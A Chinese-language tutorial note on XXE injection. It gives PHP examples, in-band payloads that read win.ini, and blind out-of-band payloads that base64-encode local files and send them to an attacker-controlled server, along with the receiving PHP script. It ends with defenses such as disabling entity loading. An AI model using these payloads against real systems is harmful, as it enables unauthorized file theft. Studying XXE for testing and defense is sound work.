参考文献:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html
libxml2.9.1及以后,默认不解析外部实体。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
xxe是xml外部实体注入。
实体又分为一般实体和参数实体
① 一般实体的声明语法:1
<!ENTITY 实体名 "实体内容">
引用实体的方式:&实体名;
②参数实体只能在DTD
中使用,参数实体的声明格式:<!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
有回显:1
2
3
4<?php
$data = simplexml_load_string($_GET['xml']);
print_r($data);
?>
无回显1
2
3<?php
$data = simplexml_load_string($_GET['xml']);
?>
利用xxe漏洞可以进行拒绝服务攻击,一般xxe利用分为两种:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据
(1)有回显,可利用的方式:(&需要转化为url编码%26)1
2
3<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
或1
2<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
(2)无回显,可利用的方式
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(自己服务器)
%号要进行实体编码成%(16进制)或%(10进制);
①.偷用下师父的payload。
自己服务器下的xxe.xml内容1
2
3
4<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;'>">
%int;
%trick;
在xxe.xml同级还有个xxe.php文件1
2
3<?php
file_put_contents('1.txt',$_GET['yy']);
?>
在外部攻击的内容:1
2
3
4<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">
%remote;]>
<root/>
或
②.1
2
3
4
5
6<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>
在xxe.dtd同级还有个xxe1.php文件:1
2
3<?php
file_put_contents('1.txt',$_GET['yy']);
?>
xxe.dtd里面的内容:1
2
3<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;'>">
%all;
这个payload的原理和师父的一样。可以在1.txt里面或者是日志里面查看base64加密过的想要查看的文件,(查看日志的命令:tail -f /var/log/syslog)
如何防御xxe攻击
①使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②过滤用户提交的XML数据
关键词:<!DOCTYPE>
和<!ENTITY>
,或者,SYSTEM和PUBLIC。